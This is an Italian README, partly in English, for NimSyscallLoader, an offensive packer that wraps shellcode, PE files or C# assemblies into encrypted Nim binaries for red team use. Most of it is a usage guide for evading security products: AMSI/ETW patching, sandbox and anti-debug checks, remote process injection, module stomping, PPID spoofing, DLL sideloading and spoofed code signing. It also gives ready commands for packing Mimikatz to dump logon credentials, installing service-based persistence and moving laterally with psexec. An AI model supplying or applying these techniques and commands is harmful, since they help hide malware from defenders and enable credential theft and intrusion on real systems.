
Impacchetta assembly C#, file PE o shellcode in binari Nim crittografati con funzionalità evasive avanzate, inclusi bypass di AMSI/ETW, rilevamento sandbox e multiple tecniche di iniezione per operazioni red team.
Questo strumento è stato reso pubblico dopo un intervento al x33fcon. È stato il mio principale progetto di programmazione personale dal 2021 al 2024 e ora è considerato obsoleto e non più mantenuto. Non aspettarti correzioni di bug o aggiornamenti delle funzionalità da parte mia. Invece, RustPack è ora mantenuto come una versione commerciale e controllata per Red Team e Pentester verificati, che è ancora più ricca di funzionalità ma anche molto più sicura dal punto di vista OPSec.
Questo packer può essere utilizzato per impacchettare qualsiasi assembly C#, file PE o shellcode in un binario Nim. Critterà il payload di destinazione, genererà il corrispondente codice sorgente Nim in base agli argomenti forniti e lo compilerà in un binario Nim.
Un video – se preferisci – può essere trovato qui: https://youtu.be/0PwIn3Nxmgo
Git deve essere installato affinché Nim/Nimble funzioni correttamente.
Testato con Nim 2.2.10 e il bundle MinGW-w64 GCC 11.1.0 collegato dalla pagina di download di Nim per Windows. Le versioni più recenti di Nim di default utilizzano un indirizzo di base PE elevato su Windows, il che rompe i collegamenti -static con relocation truncated to fit: R_X86_64_32S against .bss; il packer ora forza -Wl,--image-base=0x10000 per mantenere funzionanti le build statiche, quindi qualsiasi build MinGW-w64 11.x dovrebbe andare bene. Solo x64 è supportato qui — x86/--x86/--wow64 non è mantenuto.
nim-2.2.10_x64.zipmingw64.7z (collegato dalla pagina di installazione di Nim per Windows)Expand-Archive di Windows — scarta silenziosamente lib\system.nim a causa del conflitto di maiuscole/minuscole con la directory lib\system\). Il zip di Nim include bin\7zG.exe che puoi usare per estrarre MinGW.<nim>\bin e <mingw64>\bin al tuo %PATH%. Effettua il logout/login (o riavvia la shell) affinché la modifica abbia effetto.Versions known to work (as of Nim 2.2.10): nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — il repo non ha release con tag).
Se si vuole utilizzare l'obfuscatore LLVM su Windows, usare la versione denim modificata integrata da denim. Installarla tramite denim\denim.exe setup.
Ad esempio su Kali / Debian. Il packer storicamente richiedeva nim 1.6.8 + mingw-64 8.0.0-1; con il workaround del collegamento statico --image-base=0x10000 ora integrato, anche toolchain più recenti dovrebbero funzionare. La build Windows è quella testata attivamente — Linux è un impegno al meglio.```bash
apt-get install nim mingw-w64
nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
Se `--hellsgate` non riesce a compilare su una versione più recente di mingw-w64, esegui il downgrade a `mingw-64=8.0.0-1`.
Installa donut tramite `pip3 install donut-shellcode`. `denim` non può essere usato da Unix, quindi l'offuscamento tramite LLVM non è possibile qui. Lo stesso vale per Callobfuscator.
Compila il Packer con `nim c -d:noRES NimSyscallLoader.nim`. Pronto all'uso. Se non usi -d:noRES potresti ottenere il seguente errore:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.
Deve essere costruito una volta (richiede un po' di tempo la prima volta, le build successive verranno memorizzate nella cache).
sudo docker build . -t nimsyscallloader
Quindi esegui il packer con:
sudo docker run -v $(pwd):/shared nimsyscallloader <ARGOMENTI> --output=/shared/packed.exe
dove $(pwd) è la directory sul sistema host condivisa con il container, ovvero la directory in cui devono trovarsi i file da crittografare e dove verrà salvato l'output.
Se vuoi utilizzare i certificati di Code Signing tramite LimeLighter, dovrai anche avere installati e nel tuo %PATH% i seguenti componenti: openssl - (per Windows) per esempio da qui osslsigncode - per esempio da qui
Non fornirò supporto per problemi negli strumenti di terze parti qui utilizzati. Quindi, per favore, apri un ticket nei repository corrispondenti se incontri problemi con essi. Strumenti di terze parti in uso:
Puoi usare i miei binari precompilati oppure, ovviamente, compilarli tu stesso dai link sopra.
Un video - se preferisci - può essere trovato qui: https://youtu.be/UHaIgdzqHDA
Ho anche aggiunto brevi video per alcune funzionalità, come richiesto:
Caro-Kann:
Funzionalità ThreadlessInject:
Funzionalità Module Stomping:
Funzionalità shellcodeURL:
Funzionalità stegoFile:
Funzionalità shellcodeFile:
Ruy Lopez per processi locali
Formato output Shellcode
Funzionalità output Assembly
E ho realizzato un video pubblico che mostra come personalizzare la tecnica ThreadlessInject per processi diversi da quello predefinito:
https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2
Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version
Options:
[general]
-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded
[Payload retrieval options]
By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from
[DLL options]
--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable
[evasion]
--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)
[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]
--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique
[shellcode specific]
--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.
[PE Packing]
--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE
[C# assembly Packing]
--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace
Per impostazione predefinita, il Packer utilizza funzionalità di evasione SandBox e AntiDebug per ogni Payload. Se non si desidera che siano abilitate (ad es. per rimuovere i loro IoC) o per qualsiasi altro motivo, è possibile utilizzare i flag `--noAntidebug` o `--noDefaultSandBox`. Ogni altro controllo SandBox dalle opzioni verrà aggiunto in aggiunta a quelli esistenti e non come sostituzione.
Tutti i Payload vengono eseguiti per impostazione predefinita in una regione di memoria `RX`. Alcuni Payload non funzionano con il solo `READ_EXECUTE`. Per utilizzare `RWX` invece, è possibile abilitarlo con il flag `--RWX`.
Inoltre, per impostazione predefinita, i Payload sono incorporati nel binario risultante come array crittografato. Ciò porta ad alta entropia e può anche portare a rilevamenti da parte di alcuni vendor AV/EDR a causa di ciò. Raccomando invece di utilizzare `--shellcodeFile` o `--shellcodeURL` per recuperare il Payload da un file diverso o da un Webserver in fase di esecuzione. Questo porta anche a un'evasione SandBox come effetto collaterale. Ad esempio quando si utilizza:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
Se non hai fretta, posso anche consigliare di usare le opzioni `--sleep numberOfSeconds` e/o `--sleep-in-between numberOfSeconds` per qualsiasi Payload, poiché ciò porterà a bypass di scansione della memoria e/o di rilevamento basato sul comportamento.
Per pacchettizzare Mimikatz, ad esempio, con unhooking prima dell'esecuzione e senza bypassare AMSI, usa il seguente:
beacon> ...
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject
```
Alcuni di voi hanno avuto problemi nel caricare Mimikatz con il packer tramite gli argomenti `--file=Mimikatz --peload` per poi eseguire comandi personalizzati a runtime.
Ho trovato la causa di questo comportamento. Non chiedetemi perché, ma non potete semplicemente prendere la versione di rilascio da Github, dovete compilare Mimikatz da soli (o creare una versione personalizzata) e caricare questa invece della versione ufficiale. Inoltre, utilizzate `--noAntidebug` per Mimikatz, altrimenti si ottengono risultati strani (non chiedetemi perché, altri PE vengono caricati correttamente).
Se volete comunque incorporare la versione di rilascio da github, potete passare direttamente argomenti come questo:```batch
Packedmimikatz.exe coffee exit
```
Puoi anche hardcodare gli argomenti per i payload `--peload`, `--csharp` o `--peinject`, ad esempio il seguente modificherebbe gli argomenti della riga di comando in `privilege::debug sekurlsa::logonpasswords exit`:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug
```
Donut shellcode è rilevato da alcuni fornitori di AV/EDR. Come alternativa per il caricamento PE ho modificato il mio [Nim-RunPE](https://github.com/S3cur3Th1sSh1t/Nim-RunPe) per utilizzare syscalls per il caricamento PE e l'ho integrato qui:
Per impacchettare Mimikatz ad esempio e caricarlo tramite caricatore PE con syscall usa il seguente:```batch
NimSyscallLoader --file=mimikatz.exe --peload --RWX
(RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)
```
Per impacchettare Shellcode per iniezione locale:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI
```
Per caricare lo shellcode in un processo remoto:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe
```
Per caricare un assembly C#:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp
```
Per caricare un assembly C# con argomenti:```batch
NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'
```
Per caricare un assembly C# e utilizzare hellsgate per il recupero delle Syscall :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate
```
Per impacchettare Shellcode per l'iniezione locale + uso hellsgate + autoeliminazione + controlli sandbox:```batch
NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace
```
Per aggiungere diverse migliaia di parole inglesi per aggirare le rilevazioni di "Machine learning":```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words
```
Per utilizzare Syswhispers3 con/senza la tecnica jumper_randomized:```batch
NimSyscallLoader --file=calc.bin --syswhispers
NimSyscallLoader --file=calc.bin --syswhispers --jump
```
Per codificare il shellcode con sgn prima di crittografare:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn
```
Per avviare un processo personalizzato e iniettare in esso successivamente + Patch AMSI/ETW nel processo remoto:```batch
NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW
```
Per generare una DLL invece di un eseguibile, basta aggiungere il parametro `--dll`. Puoi anche definire funzioni di export personalizzate tramite `--dllexportfunc Export1,ExportFunc2`. Questi export personalizzati possono essere utilizzati anche per il DLL sideloading.
Descrizione di LLVM presa da [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) – non l'ho ancora testata personalmente!
**OPZIONALE:** Per utilizzare il flag [Obfuscator-LLVM](https://github.com/heroims/obfuscator), devi averlo installato sul tuo sistema insieme a [wclang](https://github.com/tpoechtrager/wclang). Ho trovato questa operazione un po' fastidiosa, ma con un po' di perseveranza dovresti riuscirci. Ecco una rapida guida passo passo che ha funzionato sul mio sistema Kali Linux:
1. Clona la versione desiderata di Obfuscator-LLVM e compilala
2. Una volta compilato, fai un backup della versione esistente di clang e sposta la nuova versione di Obfuscator-LLVM di clang in `/usr/bin/`
3. Installa wclang e aggiungi i suoi binari al tuo PATH
4. Fai un backup dei file di libreria esistenti di clang, copia gli include della libreria di Obfuscator-LLVM appena compilati in `/usr/lib/clang/OLD_VERSION/`
Inoltre, devi aggiungere le seguenti righe al tuo file `nim.cfg` per indirizzare nim verso i binari di wclang:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"
```
### Binari di servizio
I binari di servizio non vengono eseguiti al volo. Possono essere utilizzati solo per i servizi Windows. Quindi, se stai compilando un binario di servizio con `--service`, dovrai creare un nuovo servizio con la posizione di quel binario. Questo può essere fatto, ad esempio, in questo modo:```batch
sc.exe create Updater binpath="C:\windows\system32\service.exe"
sc.exe start Updater
```
I binari di Packer possono anche essere utilizzati per il movimento laterale impacket-psexec:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement
```
Le DLL di servizio richiedono configurazioni aggiuntive. Puoi leggere [il seguente blog](https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain) e sono necessarie alcune modifiche al Registro di sistema:```batch
sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f
```
In addition il valore `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` deve essere modificato per includere anche il nome del tuo servizio.
Se ricevi l'ERROR 1053 all'avvio del servizio, molto probabilmente hai dimenticato l'ultima voce.
### Gestione dei binari Golang con il Packer
La mia implementazione personalizzata di `Nim-RUNPE` purtroppo non è in grado di gestire i binari GoLang al momento. È uno strano bug in Nim, devo indagare più a fondo prima o poi. Sicuramente una tana del coniglio, ho già speso molto tempo.
Per il momento come soluzione alternativa puoi usare `--peinject --large` per generare shellcode dal binario golang per eseguirlo localmente come eseguibile o DLL.
Example:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe
or
NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll
```
Devi `forzatamente` passare argomenti hardcoded quando usi una DLL, perché le DLL di `PEInject` non accettano argomenti dall'host di destinazione. L'iniezione remota è anche possibile ma gli argomenti non possono essere hardcoded qui.
Defender rileva attualmente i binari Golang Packed, probabilmente a causa dell'entropia MOLTO alta (payload grandi, quindi il binario contiene il 95% o più di contenuto crittografato). Per evitare queste rilevazioni, usa una DLL o `--pump` con qualsiasi valore.
### DLL-Sideloading
Puoi generare Payload capaci di DLL-Sideloading con il flag `--clone DLLName`.
Ad esempio, il seguente comando genererebbe una `version.dll` con le esportazioni API della `version.dll` originale di Windows:```batch
NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll
```
Questo potrebbe essere utilizzato per vari binari firmati legittimi per il sideloading, come `OneDriveUpdater.exe`, `slllauncher.exe` e molti altri. Alcuni punti sono importanti da notare e dovresti prestare attenzione a essi:
* Usare Shellcode con Exitfunction=Process molto probabilmente porterà a un crash nel binario Host
* Usare l'iniezione locale porterà a un binario che non si avvia, poiché la DLL non terminerà l'esecuzione per i payload C2
* Attualmente c'è un bug o problema con i payload C# e il sideloading Nim. Quei payload semplicemente non vengono eseguiti quando eseguiti localmente (`--csharp` o `--peinject`), devo investigare
* Non posso raccomandare l'uso dei payload di sideloading Nim DLL con Teams.exe - ho riscontrato comportamenti strani per certi DLL e Teams non si avviava più in molti casi. È anche rilevato da molti vendor EDR nel frattempo
* TESTA i tuoi payload prima di usarli.
Prenditi il tuo tempo per cercare binari di sideloading personalizzati o usa alcuni di quelli noti documentati da una posizione come [https://hijacklibs.net/](https://hijacklibs.net/).
### Immagini personalizzate o metadati
Se vuoi usare icone personalizzate per i tuoi eseguibili loader o metadati personalizzati, dovresti cambiare il file `cmd.rc` nella cartella resources.
Può essere compilato in un file `cmd.o` tramite `windres cmd.rc -o cmd.o`. Puoi anche semplicemente sostituire il file `demo.ico` con qualsiasi altro file ICON che vuoi usare.
Per i metadati DLL puoi cambiare `DLL.rc`.
### Altre rilevazioni di entropia o evasioni alternative di Sandbox
Alcuni vendor, come ESET, flaggano binari/dll a causa del payload crittografato presente nel binario come blob con alta entropia. Questi tipi di rilevazioni e/o controlli Sandbox possono essere bypassati con i flag `--shellcodeFile` o `--shellcodeURL`, poiché il payload non è più incorporato nel binario risultante ma caricato da un file separato o da un webserver remoto.
### ThreadlessInject - cose a cui prestare attenzione
Se vuoi usare ThreadlessInject - dovresti sapere cosa stai facendo. Poiché aggancia un'API nel processo remoto, questa tecnica deve essere regolata per ogni diverso processo remoto. Devi prima sapere quali API vengono tipicamente chiamate regolarmente dal processo remoto per sapere cosa agganciare. Puoi, ad esempio, monitorare questo per processi Windows comuni tramite [API Monitor](http://www.rohitab.com/apimonitor). Regola l'hook sul tuo processo target, altrimenti il payload non verrà eseguito.
I valori predefiniti sono utili solo per il target spawn/inject builtin `rundll32.exe`, poiché questo processo chiama regolarmente `NtWaitForMultipleObjects` da `ntdll.dll`. Anche altri processi chiamano questa funzione, ma la raccomandazione qui è di regolare le opzioni sul tuo processo target.
### Module Stomping - cose a cui prestare attenzione
Il module stomping ci dà il vantaggio di non allocare più memoria per l'iniezione di shellcode, poiché sovrascriviamo (una parte) della sezione `.text` di una DLL già caricata. Se la DLL non era già caricata nel processo remoto target, verrà forzata a caricarsi prima creando un thread remoto su `LoadLibrary` o usando ThreadlessInject tramite un hook che punta a un custom LoadLibrary-Shellcode. Di default, la DLL `chakra.dll` viene usata per lo stomping, che nella maggior parte dei casi è adatta a causa delle sue dimensioni. Tuttavia, puoi cambiare la DLL tramite i parametri del Packer come preferisci.
Per evitare CFG, l'implementazione corrente sovrascrive uno (o con Caro-Kann abilitato due) punti di ingresso della DLL:
- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`
Se cambi la DLL, dovrai anche cambiare i nomi delle funzioni target, poiché potrebbero non esistere su altre DLL. Inoltre, potrebbe essere un problema se c'è
1. Spazio insufficiente nella sezione `.text` della DLL target per il tuo Shellcode
2. Spazio insufficiente tra le due funzioni nella sezione `.text`, in modo che la prima venga sovrascritta dalla seconda
Il mio codice non gestisce queste situazioni e attualmente non le controlla. Quindi dovresti controllare le dimensioni e gli offset prima di usarlo in produzione per sicurezza.
Inoltre, potrebbe essere ovvio per alcuni di voi, ma i server usano DLL diverse rispetto ai client. Il Loader/Tool quindi deve essere adattato quando si targettano i server.
Questa implementazione di Module Stomping **non** carica la DLL tramite `LoadLibraryEx` con `DONT_RESOLVE_DLL_REFERENCES`. Questo è il modo più instabile di farlo, ma l'ho comunque implementato in questo modo per eliminare le rilevazioni EDR per specifici IoC derivanti da questo uso dell'API.
Per maggiori informazioni leggi questo post del blog:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)
### Crittografia della memoria
Attualmente, il Packer ha due tecniche di crittografia della memoria integrate. Sono `--fluctuate` per ShellcodeFluctuation o `--sleepycrypt` per SleepyCrypt.
ShellcodeFluctuation può attualmente essere usato solo per payload C2 che usano Win32 Sleep poiché aggancia questa funzione. In questo caso solo lo Shellcode verrà crittografato nello stack ogni volta che l'impianto dorme.
SleepyCrypt non crittograferà solo lo Shellcode ma l'intero stack PE, cioè tutte le sue sezioni. Lo svantaggio è che la crittografia è indipendente dal tuo impianto e avverrà con un valore di tempo fisso, ad esempio 10 secondi di crittografia e 1 secondo di esecuzione. Questo può portare a problemi di esecuzione per alcuni C2-Framework.
### Perché il mio MSF o CobaltStrike o XxX è ancora flaggato?
Leggi questo:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)
## Bug noti
- Usare `--hellsgate` su sistemi Linux con una versione recente di mingw-gcc fallirà nella compilazione
- Compila il Packer su Linux/Debian con `-d:noRES` per evitare errori di compilazione
- `--syswhispers --jump` in combinazione con `--peload` provoca un crash. Per il momento posso solo raccomandare di non usare questa opzione poiché non ho idea da dove provenga questo effetto collaterale
- `--obfuscate` non gestisce bene gli stubs ASM e quindi non può compilare binari con `--hellsgate` o `--syswhispers`
- XP/WS2k3 funzioneranno solo con i flag `--syswhispers --noAntidebug --noDInvoke`
- `--x86` / `--wow64` non è più mantenuto e attualmente è rotto con la toolchain MinGW-w64 inclusa (non multilib). Usa build x64.
- I linker MinGW-w64 più recenti (11+) usano per default un'alta base di immagine PE che rompe i collegamenti `-static` con `relocation truncated to fit: R_X86_64_32S against .bss`. Il packer ora passa `-Wl,--image-base=0x10000` al comando di compilazione del Loader generato per aggirare questo problema. Se costruisci binari standalone Nim+static con questo stack potresti aver bisogno dello stesso flag.
## DA FARE
- [x] PELoader tramite syscalls
- [x] Supporto Hellsgate
- [X] Caricare solo le librerie Winim necessarie
